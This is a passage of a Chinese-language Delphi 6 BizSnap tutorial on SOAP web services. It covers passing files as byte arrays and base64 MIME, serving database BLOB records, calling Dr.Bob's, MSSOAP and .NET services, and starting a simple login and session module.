// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,uXSPerson,Types;
type
   IDPService = interface(IInvokable)
   ….
   function GetFile:TByteDynArray;stdcall;
   end;
   unit DPServiceImpl;
   uses
     InvokeRegistry,DPServiceIntf,uXSPerson,Types,Classes,SysUtils;
   …..
function TDPService.GetFile:TByteDynArray;stdcall;
var
   fs:TFileStream;
   iSize:Int64;
begin
   fs:=TFileStream.Create('e:\code\Doc-exam\BizSnap\Exam1\test.jpg',fmOpenRead);
   iSize:=fs.Seek(0,soFromEnd);
   SetLength(Result,iSize);
   fs.Seek(0,soFromBeginning);
   fs.ReadBuffer(Result[0],iSize);
   fs.Free;
end;

這段程式使用TFileStream物件讀入一個JPG，再將它填入TByteDynArray 中傳回給Client 端。
接著我們再修改一下呼叫Service 的Client 程式。

procedure TForm1.Button1Click(Sender: TObject);
var
  vByte:TByteDynArray;
  msByte:TMemoryStream;
  iSize:Integer;
  vImage:TJPEGImage;
begin
  vByte:=(HTTPRIO1 as IDPService).GetFile;
  msByte:=TMemoryStream.Create;
  iSize:=High(vByte);
  msByte.WriteBuffer(vByte[0],iSize);
  msByte.Position:=0;
  vImage:=TJPEGImage.Create;
  vImage.LoadFromStream(msByte);
  Image1.Picture.Graphic:=vImage;
  Image1.Refresh;
  msByte.Free;
end;

當上面的程式執行起來時你會發現速度相當的慢，你可別以為當掉了!
這就是使用ByteArray 來傳遞檔案或循序型資料的必然後果。因此我的第二個例子就是使用MIME
來傳遞資料，要完成這個工作的話，你必需先撰寫一個Complex Type Class，用來處理MIME 資料，
在這個例子中你可以學到另一種Complex Type 的應用，就是當你的資料格式無法以PASCAL
的資料型態來表示時，你可以撰寫成TRemotableXS的延伸類別，並且override NativeToXS,XSToNativeXS 兩個函式，
將資料轉成字串。 當傳送至Client 端後，再將字串還原為原來的格式，我們的MIME 就需要這種處理方式,
這個程式的原作者是Noah Kriegel! 原來的程式裡面使用到他自己的MIME Library，因此我稍稍修改了一下，
把處理MIME 的部份改成使用Indy，由於DELPHI 6 所附的Indy 對MIME 支援還不夠，
因此你要到Indy 的網站去下載最新的9.0，記得多看一下安裝說明，
網址是: http://www.nevrona.com/Indy/download90.html
安裝後你就可以開始撰寫處理MIME Type 的Complex Type。

unit B64XSClass;
interface
uses SysUtils, InvokeRegistry,IdBaseComponent, IdComponent, IdCoder,IdCoderMIME,Types;
type
EXSBase64Error = class(Exception);
TXSBase64 = class(TRemotableXS)
 private
   FBase64String: string;
 protected
   function GetAsString: string;
   procedure SetAsString(Value: string);
 public
   procedure XSToNative(Value: WideString); override;
   function NativeToXS: WideString; override;
   property AsString: string read GetAsString write SetAsString;
   procedure LoadFromFile(const FileName: string);
   procedure SaveToFile(const FileName: string);
 end;
implementation
uses SoapConst, Windows, Classes, Dialogs;
procedure TXSBase64.XSToNative(Value: WideString);
begin
   SetAsString(Value);
end;
function TXSBase64.NativeToXS: WideString;
begin
   Result := GetAsString;
end;
function TXSBase64.GetAsString: string;
begin
   Result := FBase64String;
end;
procedure TXSBase64.SetAsString(Value: string);
begin
   FBase64String := Value;
end;
procedure TXSBase64.LoadFromFile(const FileName: string);
var
   InputFile: TFileStream;
   Base64Stream: TStringStream;
   IdEncoderMIME1: TIdEncoderMIME;
   ResultCode:WideString;
begin
  if FileName = '' then
   raise EXSBase64Error.Create('No Input File Specified');
  if not(FileExists(FileName)) then
   raise EXSBase64Error.CreateFmt( 'The Specified File, %s'#10#13'Does Not Exist',  [FileName]);
 try
   InputFile := TFileStream.Create(FileName, fmOpenRead);
   Base64Stream := TStringStream.Create('');
   InputFile.Position := 0;
   Base64Stream.Position := 0;
   IdEncoderMIME1:=TIdEncoderMIME.Create(Nil);
   ResultCode:=IdEncoderMIME1.Encode(InputFile);
   Base64Stream.WriteString(ResultCode);
   IdEncoderMIME1.Free;
   Base64Stream.Position := 0;
   FBase64String := Base64Stream.ReadString(Base64Stream.Size);
 finally
   InputFile.Free;
   Base64Stream.Free;
 end; { try..finally }
end;
procedure TXSBase64.SaveToFile(const FileName: string);
 var
   OutputFile: TFileStream;
   Base64Stream: TStringStream;
   IdDecoderMIME1: TIdDecoderMIME;
   ResultCode:WideString;
   iSize:Int64;
begin
   if FileName = '' then
   raise EXSBase64Error.Create('No Output File Specified');
   if FBase64String = '' then   raise EXSBase64Error.Create('This Object does not Contain a'#10#13+   'Base64-Encoded File or String');
  try
   Base64Stream := TStringStream.Create(FBase64String);
   OutputFile := TFileStream.Create(FileName, fmCreate);
   OutputFile.Position := 0;
   Base64Stream.Position := 0;
   iSize:=Base64Stream.Seek(0,soFromEnd);
   Base64Stream.Position:=0;
   ResultCode:=Base64Stream.ReadString(iSize);
   IdDecoderMIME1:=TIdDecoderMIME.Create(Nil);
   IdDecoderMIME1.DecodeToStream(ResultCode,OutputFile);
  finally
   IdDecoderMIME1.Free;
   OutputFile.Free;
   Base64Stream.Free;
  end;{ try..finally }
end;
initialization
   RemClassRegistry.RegisterXSClass(TXSBase64, XMLSchemaNameSpace, 'base64', '',    True );
finalization
   RemClassRegistry.UnRegisterXSClass(TXSBase64);
end.

將這個Unit 加到我們的WebService 專案中，接著我們在Service 中添加一個Methods:GetFile64

unit DPServiceIntf;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,uXSPerson,Types,B64XSClass;
type
   IDPService = interface(IInvokable)
   ['{F5AF5412-0882-4C69-8878-4775C1D77555}']
   function SayHello:string; stdcall;
   function GetPerson:TXSPerson;stdcall;
   function GetFile:TByteDynArray;stdcall;
   function GetFile64:TXSBase64;stdcall;
   end;
implementation
initialization
 InvRegistry.RegisterInterface(TypeInfo(IDPService));
end.
別忘了還要提供實作哦:
unit DPServiceImpl;
   // Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,DPServiceIntf,Unit4,SysUtils,Types,Classes,B64XSClass;
type
   TDPService = class(TInvokableClass,IDPService)
   private
   { Private declarations }
   public
   function SayHello:string; stdcall;
   function GetPerson:TXSPerson;stdcall;
   function GetFile:TByteDynArray;stdcall;
   function GetFile64:TXSBase64;stdcall;
   { Public declarations }
   end;
implementation
function TDPService.SayHello:string;
begin
   Result:='Hello!';
end;
function TDPService.GetPerson:TXSPerson;stdcall;
begin
   Result:=TXSPerson.Create;
   Result.Name:='code6421';
   Result.Age:=18; //ha!
end;
function TDPService.GetFile64:TXSBase64;stdcall;
begin
   Result:=TXSBase64.Create;
   Result.LoadFromFile('e:\code\Doc-exam\BizSnap\Exam1\test.jpg');
end;
function TDPService.GetFile:TByteDynArray;stdcall;
var
   fs:TFileStream;
   iSize:Int64;
begin
   fs:=TFileStream.Create('e:\code\Doc-exam\BizSnap\Exam1\test.jpg',fmOpenRead);
   iSize:=fs.Seek(0,soFromEnd);
   SetLength(Result,iSize);
   fs.Seek(0,soFromBeginning);
   fs.ReadBuffer(Result[0],iSize);
   fs.Free;
end;
initialization
   InvRegistry.RegisterInvokableClass(TDPService);
end.

將Service Server專案編譯後，我們回到Client Project撰寫呼叫端的程式:

procedure TForm1.Button1Click(Sender: TObject);
var
  Base64:TXSBase64;
  vImage:TJPEGImage;
  msByte:TMemoryStream;
begin
  Base64:=(HTTPRIO1 as IDPService).GetFile64;
  msByte:=TMemoryStream.Create;
  IdDecoderMIME1.DecodeToStream(Base64.AsString,msByte);
  vImage:=TJPEGImage.Create;
  msByte.Position:=0;
  vImage.LoadFromStream(msByte);
  Image1.Picture.Graphic:=vImage;
  Image1.Refresh;
  msByte.Free;
end;

當你執行這個程式時,你會發現速度快了數十倍以上，這是因為ByteArray 需要維護一些陣列的資訊，
而MIME 則是整塊資料傳輸,速度當然不能比了。

處理資料庫

BizSnap 中有一個SOAP DataModule，她可以讓你以DataSnap 的觀念來處理資料庫，
有關這一部份的技術請參考我之前的文章。 如果你希望你的WebService能被其它語言呼叫，
那你需要的是Complex Type 的技術，我在之前的Complex Type 中所展示的GetPerson function
就屬於這一類的技術。 你只需要將TXSPerson 改為TXSPersonArray 就可以傳輸Record Array了，
接著只須將資料填入這個Array 就可以了。這很簡單不是嗎? 那如果要傳輸BLOB 型態的資料呢?
嘿! 那用上面的MIME 來做就好啦，接下來我使用BCDEMOS 中的魚類資料庫來作示範，
在這個資料庫中有兩個BLOB 欄位，一個是MEMO，另一個是圖形,因此我們得建立一個Complex Type 才能
容納這些資料，原來的XSB64Class 已不敷使用,我提供一個新的，你可以在範例檔中找到最新的，這裡
我就不列出來了。 OK! 那我們就開始吧，首先我們得為我們的Service加上一個DataModule,在裡面放上
TDatabase、TSession、TTable並設定TDatabase.AliasName 為BCDEMOS，Table.TableName為biolife.db，
接著我們得再產生一個Complex Type，用來表示資料列,下面是完整的程式碼:
 unit uXSFishData;
// Created with Thor-Mjollnir Complex-Type Module Creator
interface
uses InvokeRegistry,Types,XMLSchema,B64XSClass,SysUtils;
type
   TXSFishData=class;
   TXSFishDataArray = array of TXSFishData;
   TXSFishData = class(TRemotable)
   private
    FCategory:string;
    FCommon_Name:string;
    FSpeciesName:string;
    FLength_cm:double;
    FLength_In:double;
    FNotes:TXSBase64;
    FGraphic:TXSBase64;
    procedure SetNotes(Value:TXSBase64);
    function GetNotes:TXSBase64;
    procedure SetGraphic(Value:TXSBase64);
    function GetGraphic:TXSBase64;
   { Private declarations }
   public
    constructor Create;override;
    destructor Destroy;override;
   published
    property Category:string read FCategory write FCategory;
    property Common_Name:string read FCommon_Name write FCommon_Name;
    property SpeciesName:string read FSpeciesName write FSpeciesName;
    property Length_cm:double read FLength_cm write FLength_cm;
    property Length_In:double read FLength_In write FLength_In;
    property Notes:TXSBase64 read GetNotes write SetNotes default Nil;
    property Graphic:TXSBase64 read GetGraphic write SetGraphic default Nil;
   { Public declarations }
   end;
implementation
procedure TXSFishData.SetNotes(Value:TXSBase64);
begin
   if not Assigned(FNotes) then FNotes:=TXSBase64.Create;
   FNotes.AsString:=Value.AsString;
end;
function TXSFishData.GetNotes:TXSBase64;
begin
   Result:=FNotes;
end;
procedure TXSFishData.SetGraphic(Value:TXSBase64);
begin
   if not Assigned(FGraphic) then FGraphic:=TXSBase64.Create;
   FGraphic.AsString:=Value.AsString;
end;
function TXSFishData.GetGraphic:TXSBase64;
begin
   Result:=FGraphic;
end;
constructor TXSFishData.Create;
begin
   inherited;
   FNotes:=TXSBase64.Create;
   FGraphic:=TXSBase64.Create;
end;
destructor TXSFishData.Destroy;
begin
   FreeAndNil(FNotes);
   FreeAndNil(FGraphic);
   inherited;
end;
initialization
  RemClassRegistry.RegisterXSClass(TXSFishData, 'http://www.code6421.com/XMLSchema', 'TXSFishData','');
  RemTypeRegistry.RegisterXSInfo(TypeInfo(TXSFishDataArray),'http://www.code6421.com/XMLSchema','TXSFishDataArray');
finalization
  RemClassRegistry.UnRegisterXSClass(TXSFishData);
  RemTypeRegistry.UnRegisterXSInfo(TypeInfo(TXSFishDataArray));
end.
繼續為Service Interface 添加新的Method:

unit DPServiceIntf;
   // Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,uXSPerson,Types,B64XSClass,uXSFishData;
type
   IDPService = interface(IInvokable)
   ['{D88D433C-BD4F-4C4F-BB1A-E859A7E9CE45}']
   //interface declare like
   //function SayHello:string; stdcall;
    function SayHello:string; stdcall;
    function GetPerson:TXSPerson;stdcall;
    function GetFile:TByteDynArray;stdcall;
    function GetFile64:TXSBase64;stdcall;
    function GetFishData(SpeciesNo:Integer):TXSFishData;stdcall;
   end;
implementation
initialization
 InvRegistry.RegisterInterface(TypeInfo(IDPService));
end.

實作部份:
unit DPServiceImpl;
// Created with Thor-Mjollnir Service Module Creator
interface
uses
   InvokeRegistry,DPServiceIntf,uXSPerson,Types,Classes,SysUtils,
   B64XSClass,uXSFishData,uData,db;
type
   TDPService = class(TInvokableClass,IDPService)
   private
    { Private declarations }
   public
   //interface implementation
   //function SayHello:string; stdcall;
    function SayHello:string; stdcall;
    function GetPerson:TXSPerson;stdcall;
    function GetFile:TByteDynArray;stdcall;
    function GetFile64:TXSBase64;stdcall;
    function GetFishData(SpeciesNo:Integer):TXSFishData;stdcall;
    { Public declarations }
   end;
implementation
function TDPService.SayHello:string;
begin
   Result:='Hello!';
end;
function TDPService.GetPerson:TXSPerson;stdcall;
begin
   Result:=TXSPerson.Create;
   Result.Name:='code6421';
   Result.Age:=18; //ha!
end;
function TDPService.GetFile:TByteDynArray;stdcall;
var
 fs:TFileStream;
 iSize:Int64;
begin
 fs:=TFileStream.Create('e:\code\Doc-exam\BizSnap\Exam1\test.jpg',fmOpenRead);
 iSize:=fs.Seek(0,soFromEnd);
 SetLength(Result,iSize);
 fs.Seek(0,soFromBeginning);
 fs.ReadBuffer(Result[0],iSize);
 fs.Free;
end;
function TDPService.GetFile64:TXSBase64;stdcall;
begin
 Result:=TXSBase64.Create;
 Result.LoadFromFile('e:\code\Doc-exam\BizSnap\Exam1\test.jpg');
end;
function TDPService.GetFishData(SpeciesNo:Integer):TXSFishData;
var
  MS: TMemoryStream;
begin
  Result:=TXSFishData.Create;
  DataModule3.Table1.Open;
  if not DataModule3.Table1.Locate('Species No',SpeciesNo,[]) then
     raise Exception.Create('record not found!')
  else
   begin
    MS := TMemoryStream.Create;
    Result.Category:=DataModule3.Table1.FieldByName('Category').AsString;
    Result.Common_Name:=
    DataModule3.Table1.FieldByName('Common_Name').AsString;
    Result.SpeciesName:=DataModule3.Table1.FieldByName('Species Name').AsString;
    Result.Length_cm:=DataModule3.Table1.FieldByName('Length (cm)').AsFloat;
    Result.Length_In:=DataModule3.Table1.FieldByName('Length_In').AsFloat;
    TBlobField(DataModule3.Table1.FieldByName('Notes')).SaveToStream(MS);
    MS.Position:=0;
    Result.Notes.LoadFromStream(MS);
    MS.Clear;
    TGraphicField(DataModule3.Table1.FieldByName('Graphic')).SaveToStream(MS);
    MS.Position:=8;
    Result.Graphic.LoadFromStream(MS,False);
    DataModule3.Table1.Close;
   end;
end;
initialization
InvRegistry.RegisterInvokableClass(TDPService);
end.

還記得嗎? 如果我們要在Client 端取得Service 所傳回的Complex Type，
最快的方法就是將該Complex Type Unit 複製到Client 的目錄並use 它，
呼叫Service 的Client 程式碼如下:

procedure TForm1.Button1Click(Sender: TObject);
var
  FishData:TXSFishData;
  msByte:TMemoryStream;
begin
  FishData:=(HTTPRIO1 as IDPService).GetFishData(90020);
  edtCategory.Text:=FishData.Category;
  edtCommonName.Text:=FishData.Common_Name;
  edtSpeciesName.Text:=FishData.SpeciesName;
  edtLengthCM.Text:=FloatToStr(FishData.Length_cm);
  edtLengthIN.Text:=FloatToStr(FishData.Length_In);
  msByte:=TMemoryStream.Create;
  FishData.Notes.SaveToStream(msByte);
  msByte.Position:=0;
  Memo1.Lines.LoadFromStream(msByte);
  msByte.Clear;
  FishData.Graphic.SaveToStream(msByte);
  msByte.Position:=0;
  Image1.Picture.Bitmap.LoadFromStream(msByte);
  Image1.Refresh;
  FishData.Free;
  msByte.Free;
end;

這是執行結果:

雖然花了一點時間，但執行速度還可以接受,這個例子中我只傳一筆資料，
如果你需要傳送多筆資料，只要將傳回型別改為TXSFishDataArray 後
將資料填入傳回Client端就可以了。

Complex Type 的魔法

之前提到TOPToSoapDomConvert 會將SOAP Response 轉換為Pascal 型態的物件，
她同時也處理了Complex Type Object，她會利用RemTypeRegistry 中的資訊來
處理傳入及傳回值，不過這部份的處理有點奇怪，不知道是我使用的方法還是BizSnap
的處理模式的關係，當TOPToSoapDomConvert 處理傳回值並建立物件時，並不會經過物件的
constructor，似乎完全跳過這一段了,目前無解中.....
所以你會看到TXSFishData 中有奇特的防護措施，因為我在裡面使用了另一個ComplexType，
而TOPToSoapDomConvert 並不知道如何建立這個物件，因此如果沒有這些防護措施的話，
那就等著當機吧.....
喔...還有件事，你也許會對下面的程式碼感到疑惑:
  RemClassRegistry.RegisterXSClass(TXSFishData, ' 'http://www.code6421.com'', 'TXSFishData','');
  RemTypeRegistry.RegisterXSInfo(TypeInfo(TXSFishDataArray),' 'http://www.code6421.com'','TXSFishDataArray');
因為這兩個function 傳回的兩個物件都擁有同樣的能力，在On-line help 中的解釋是這兩個
物件是相同的。

BizSnap+DataSnap

這其實不難! 難的是你要有3-Tier 程式設計的概念，這些概念當然由李維老師來說比較好，
所以我就跳過了，你可以使用前面的範例加上一個SOAP DataModule 就可以使Service Server
升級成為Sevice+Application Server，或是在Service Server 中使用ClientDataSet 來取得
另一個AP-Server 的資料。 要注意的是運用SOAP 技術通常會有效率上的隱憂，這來自於
XML Parser 的速度問題，我沒詳細去看過ClientDataSet 與SOAPDataModule 之間傳輸
的格式，因此對此無法提出意見。 就讓李老師來解釋會貼切一點，使用SOAPDataModule 通常
是在跨防火牆的情況下，因為工作的關係我可能很快就會接觸到，屆時有機會的話我再
將她記錄下來，是的!! 我要當白老鼠......

WebSnap+BizSnap

像.NET 之類的開發工具會直接產生一個網頁，讓使用者可以直接經由網頁呼叫WebService，
這在許多情況下很方便。 DELPHI 也可以應用WebSnap 來處理這樣的動作，有機會的話我會
在WebSnap 篇介紹這樣的運用。

運用別人寫的WebService

在Internet 上已經有許多人撰寫好的WebService 可供我們使用，這裡我選幾個來示範如何撰寫
她們的Client 應用程式，首先是Dr.Bob 的HeadNews! 請你開啟一個新Application Project，
執行 WSDL Import 輸入http://drbob42.tdmweb.com/cgi-bin/DrBobsClinic.exe/wsdl/IHeadline
你可以看到WSDL Import 幫我們產生以下的程式碼:

Unit HeadLineIntf;
interface
uses Types, XSBuiltIns;
   type
 IHeadLine = interface(IInvokable)
   ['{57E93B78-62C9-4734-9440-214F3E8B7C0F}']
   function DelphiNews(const format: Integer): WideString; stdcall;
   function CBuilderNews(const format: Integer): WideString; stdcall;
   function JBuilderNews(const format: Integer): WideString; stdcall;
   function KylixNews(const format: Integer): WideString; stdcall;
   function SOAPNews(const format: Integer): WideString; stdcall;
   function BorConNews(const format: Integer): WideString; stdcall;
 end;
 implementation
uses InvokeRegistry;
initialization
   InvRegistry.RegisterInterface(TypeInfo(IHeadLine), 'urn:Headline-IHeadLine',    '');
end.
接著撰寫呼叫的程式，在這個程式我使用TWebBrowser 元件來顯示HTML，
完整的Client 程式碼如下:

unit uMain;
interface
uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, OleCtrls, SHDocVw, Rio, SoapHTTPClient;
type
   TNewsType=(D_NEWS,C_NEWS,J_NEWS,K_NEWS,S_NEWS,B_NEWS);
   TForm1 = class(TForm)
    HTTPRIO1: THTTPRIO;
    WebBrowser1: TWebBrowser;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    procedure Button1Click(Sender: TObject);
   private
    function GetNews(NewsType:TNewsType):WideString;
    { Private declarations }
   public
    { Public declarations }
   end;
var
   Form1: TForm1;
implementation
   uses HeadLineIntf;
{$R *.dfm}
   function TForm1.GetNews(NewsType:TNewsType):WideString;
   var
     Intf:IHeadLine;
   begin
     Intf:=(HTTPRIO1 as IHeadLine);
     case NewsType of
         D_NEWS:
            Result:=Intf.DelphiNews(1);
         C_NEWS:
            Result:=Intf.CBuilderNews(1);
         J_NEWS:
            Result:=Intf.JBuilderNews(1);
        K_NEWS:
           Result:=Intf.KylixNews(1);
        S_NEWS:
           Result:=Intf.SOAPNews(1);
        B_NEWS:
          Result:=Intf.BorConNews(1);
 end;
     Intf:=Nil;
 end;
procedure TForm1.Button1Click(Sender: TObject);
 var
   Data:string;
   NewsType:TNewsType;
   fs:TFileStream;
 begin
   if (Sender as TButton).Caption = 'DELPHI' then
      NewsType:=D_NEWS;
   if (Sender as TButton).Caption = 'CBuilder' then
      NewsType:=C_NEWS;
   if (Sender as TButton).Caption = 'JBuilder' then
      NewsType:=J_NEWS;
   if (Sender as TButton).Caption = 'Kylix' then
      NewsType:=K_NEWS;
   if (Sender as TButton).Caption = 'SOAP' then
      NewsType:=S_NEWS;
   if (Sender as TButton).Caption = 'BorCon' then
      NewsType:=B_NEWS;
   Data:=GetNews(NewsType);
   fs:=TFileStream.Create('c:\temp\BobNews.html',fmCreate);
   fs.WriteBuffer(Data[1],Length(Data));
   fs.Free;
   WebBrowser1.Navigate('C:\temp\BobNews.html');
 end;
end.

執行的畫面:

因為Dr.Bob 的WebService 是使用DELPHI 為開發工具所撰寫的，我們使用起來可以說毫不費力，但如果是.NET 呢?
很不幸! 目前的BizSnap 並無法正常使用.NET 或MS SOAP的WebService，原因嘛! 肯定是SOAP 及WSDL 的實作不同所致，
以下我們先用MSSOAP Service Server 來試試看，MSSOAP 中有一個範例叫calc，也就是計算機的意思，你只要將它的WSDL
讀入後DELPHI 就會為你產生SOAP Proxy Code，如果你仔細查看產生的程式碼的話你會發現有點怪異! Calc 應該是傳回
一個double 值，但在SOAP Proxy Code 中我們看到的卻是out，這會使得程式在某些情況下出錯，不管這些! 我們先加入呼叫的程式碼，
執行後你會得到一個Internal Error 500 的錯誤，要找出完整錯誤訊息我們得有工具才行，MSSOAP 提供了一個Trace Utility，
你先將她啟動，並選擇File|New|Formated Trace之後選擇OK 就可以了，接著你還要更改calc.wsdl 的Soap Action 位址將紅色
字的部份以藍色部份取代
<service name='Calc' >
    <port name='CalcSoapPort' binding='wsdlns:CalcSoapBinding' >
      <soap:address location='http://localhost/MSSoapSamples/Calc/Service/Rpc/AspVbsCpp/Calc.asp' />
      <soap:address location='http://localhost:8080/MSSoapSamples/Calc/Service/Rpc/AspVbsCpp/Calc.asp' />
    </port>
</service>
接著重新執行DELPHI 程式，你應該可以看到Trace Utility 所欄截到的SOAP Message:

這個錯誤訊息表示我們並未指定SOAP Action或是使用錯誤的namespace，導致發生內部錯誤!
那到底是那一個呢? 兩者都是! 雖然SOAP 規格書上未強制使用SOAPAction，但MSSOAP 需要她，
要知道這些，只須用MSSOAP 呼叫再查訊息就可以了，其實使用MSSOAP 呼叫WebService 很簡單，
你只要照著下面做就可以了:

procedure TForm1.Button2Click(Sender: TObject);
var
  Obj:OleVariant;
  d:double;
begin
 try
  Obj:=CreateOleObject('MSSOAP.SoapClient');
  Obj.MSSoapInit('http://localhost:8080/MSSOAP/Calc/Service/Rpc/AspVbsVb/Calc.wsdl');
  d:=Obj.Add(1,2);
  ShowMessage(FloatToStr(d));
 finally
  Obj:=Unassigned;
 end;
end;
因為我們觀察的對象是SOAPAction 參數，這是一個位於Content Header 區的參數，你無法使用Trace Utility 取得，
我們需要的是PocketSoap 公司的TCP Tracer程式! 請到該公司的網站下載後執行(文後有該公司的URL)，回到DELPHI
中重新執行程式選擇使用MSSOAP 呼叫，這次應該會傳回結果，切到TCP Tracer 程式中你應該可以看到這樣的畫面:

嗯! 有SOAPAction 定義，那為何HTTPRIO 沒有解出呢?

<service name='Calc' >
   <port name='CalcSoapPort' binding='wsdlns:CalcSoapBinding' >
      <soap:address location='http://localhost:8080/MSSOAP/Calc/Service/Rpc/AspVbsVb/Calc.asp' />
    </port>
</service>

紅色就是問題所在，BizSnap 中有一段程式大概是寫錯了，直接使用了這個值而沒有先做namespace 的處理，
那麼我們只要補上這個值就可以了吧? 嘿! 前面提過BizSnap 目前是很封閉的，所以你找不到地方填這個值，
這必須改原始碼才行，我改完後錯誤訊息變成這個:

None of the matching operations for soapAction http://tempuri.org/action/Calc.Add could
successfully load the incoming request. Potential typemapper problem
.z.z.z.z.z.z.z 唉.....我看不懂! 真的看不懂! 我可是提供了正確的SOAPAction 了耶! 問題在那呢?
你絕對想不到，問題在於參數的namespace 上:

<NS1:A xsi:type="xsd:double">
  19
</NS1:A>
<NS1:B xsi:type="xsd:double">
  20
</NS1:B>
</NS1:Add>

下面是執行成功的畫面

看來只要把namespace去掉就可以了! 問題是怎麼去掉? 除了改原始碼之外沒別的辦法，那怎麼改? 我不知道!
我想這是MSSOAP 的Bug，因此如果你需要呼叫MSSOAP Server 的話，請你還是使用MSSOAP 較省事。

www.xmethods.com 上有一部份的Service 是使用.NET 撰寫的，正如同先前所提的
DELPHI 呼叫.NET 一樣有問題，MSSOAP 的問題一還是存在，但.NET 並不強制你要填SOAPAction，
所以問題不在這裡，問題在這個地方:
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document"
.NET預定值是使用document 傳輸樣式，而BizSnap 目前只支援rpc兩者之間的差異頗大! 整個排列方式
都不太一樣了，而WSDL 的差異也是原因之一，不過這都不是大問題，你只要改3 個地方就可以
正常呼叫.NET 了,只是NewsGroup 上DELPHI R&D 已經說明目前他們正在處理，因此你就等等吧!
範例程式中有我呼叫.NET 的原始碼及執行檔，你如果重編譯的話還是會出錯!
因為你沒有修改BizSnap，我附上這個程式的原因只是想讓你知道，DELPHI 呼叫.NET 是絕對可能的，
而且可以傳入或傳回Complex Type。

(以修改後的BizSnap 呼叫.NET WebService)

至於其它開發工具所撰寫的WebService，如Java 等，應該都能正常使用DELPHI 來呼叫，我就不再介紹了。
WebService 應用範圍很廣，你也可以運用WinINet 或是Indy 來將網路的Search Site 包裝起來。
例如Borland 以前展示過的翻譯Service，或是郵政總局的郵遞區號查詢網站。這樣做的好處是我們不需要
接觸這些我們根本完全不熟悉的領域，例如像郵遞區號的查詢程式，5碼郵遞區號的規則我一直都搞不清楚，
正想寫個WebService 來運用。這樣我又省下不少時間了，運氣好的話還可以租給別人用，
呵...當我做夢好了。

使用其它SOAP實作呼叫DELPHI WebService

這個嘛! 目前技術上有些困難，大部份的問題都發生在Complex Type 上，目前似乎所有的實作只要遇上Complex Type
就得繳械投降，目前我測試過的有.NET,MSSOAP,MSSOAP 的話只需修改wsdl 資訊就可以呼叫了，但是如果遇上了
Complex Type 的話，可能你得撰寫ISoapTypeMapper 之類的COM 物件來處理,由On-line HELP 上看來,應該是可行。
.NET 就比較麻煩，之前曾提過.NET 實作的SOAP 及 WSDL 規格與BizSnap 有差異，因此我們需要大幅度的更改WSDL及SOAP
才能呼叫。
(PS:MSSOAP 要修改DELPHI 產生的WSDL)
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
(亦或是一勞永逸的非官方修改)
WSDLIntf.pas
Soapns=Wsdlns +'soap';
Soapns=Wsdlns +'soap/';

Session 管理及例外處理

到目前為止! 我們開發了幾個WebService，可是這些應用程式都少了樣功能: 使用者權限管理及Session!
在.NET，Session這個功能是系統支援型的，而使用者也可以經由SOAP Header 支援來解決，
也就是說你不需費太多力氣就可以讓Service 擁有Session及使用者管理功能，DELPHI 呢?
目前BizSnap 並未明白支援，不過這不難，只需要使用一個資料庫來管理使用者及Session 就可以了。
以下我們試著開發這樣的WebService，你會在過程中學習到例外的處理，這對一個WebService 來說是很重要的。
在BizSnap 中，她允許我們訂制自己的例外類別，只需要由ERemotableExecption 類別繼承下來就可以了，
以下就是我們的ELoginError 例外類別:

unit uLoginError;
interface
   uses
   SysUtils, Classes,InvokeRegistry;
type
   ELoginError = class(ERemotableException)
   private
    FErrorCode:Integer;
   protected
   public
    constructor Create(ErrMsg:WideString;Code:Integer);
   published
    property ErrorCode:Integer read FErrorCode write FErrorCode;
   end;
const
   E_LOGGED=1;
   E_INVALID_SESSION=2;
   E_INVALID_USER=3;
implementation
constructor ELoginError.Create(ErrMsg:WideString;Code:Integer);
begin
  Message:=ErrMsg;
  FErrorCode:=Code;
end;
initialization
  RemTypeRegistry.RegisterXSClass(ELoginError,''http://www.code6421.com/XMLSchema',    'ELoginError','');
finalization
  RemTypeRegistry.UnRegisterXSClass(ELoginError);
end.

BizSnap 要求例外類別必需向RemTypeRegistry 註冊，因為這樣才能將資料封裝傳回Client 端。
接著我們要撰寫有關資料庫處理及Session 管理的DataModule:

unit uData;
interface
uses
   Windows,SysUtils, Classes, DB, DBClient,SyncObjs,InvokeRegistry,Variants;
type
 TDataModule3 = class(TDataModule)
   cdsSession: TClientDataSet;
   cdsSessionUser: TStringField;
   cdsSessionPassword: TStringField;
   cdsSessionSessionHandle: TStringField;
   cdsSessionExpire_Date: TDateTimeField;
   procedure DataModuleCreate(Sender: TObject);
  private
   AppPath:string;
   { Private declarations }
  public
   function Login(UserName,Password:WideString):WideString;
   function Logout(SessionHandle:WideString):Boolean;
   function ValidateSession(SessionHandle:WideString):Boolean;
   { Public declarations }
  end;
var
 DataModule3: TDataModule3;
 CS : TCriticalSection;
implementation
{$R *.dfm}
function TDataModule3.Login(UserName,Password:WideString):WideString;
var
   FGUID:TGUID;
begin
  try
   CS.Enter;
   cdsSession.LoadFromFile(AppPath+'\Session.xml');
   if cdsSession.Locate('USER;PASSWORD',VarArrayOf([UserName,Password]),[]) then
   begin
    if cdsSession.FieldByName('SessionHandle').AsString <> '' then
     begin
      Result:='';
      exit;
     end;
    CreateGUID(FGUID);
    cdsSession.Edit;
    cdsSession['User']:=UserName;
    cdsSession['Password']:=Password;
    cdsSession['SessionHandle']:=GUIDToString(FGUID);
    cdsSession.Post;
    Result:=cdsSession['SessionHandle'];
   end
   else Result:='ERROR';
  finally
   cdsSession.SaveToFile(AppPath+'\Session.xml');
   cdsSession.Close;
   CS.Leave;
  end;
end;
function TDataModule3.Logout(SessionHandle:WideString):Boolean;
begin
  try
   Result:=False;
   CS.Enter;
   cdsSession.LoadFromFile(AppPath+'\Session.xml');
   if cdsSession.Locate('SessionHandle',SessionHandle,[]) then
    begin
     cdsSession.Edit;
     cdsSession['SessionHandle']:='';
     cdsSession.Post;
     Result:=True;
    end;
   finally
    cdsSession.SaveToFile(AppPath+'\Session.xml');
    cdsSession.Close;
    CS.Leave;
   end;
end;
function TDataModule3.ValidateSession(SessionHandle:WideString):Boolean;
begin
  try
   Result:=False;
   CS.Enter;
   cdsSession.LoadFromFile(AppPath+'\Session.xml');
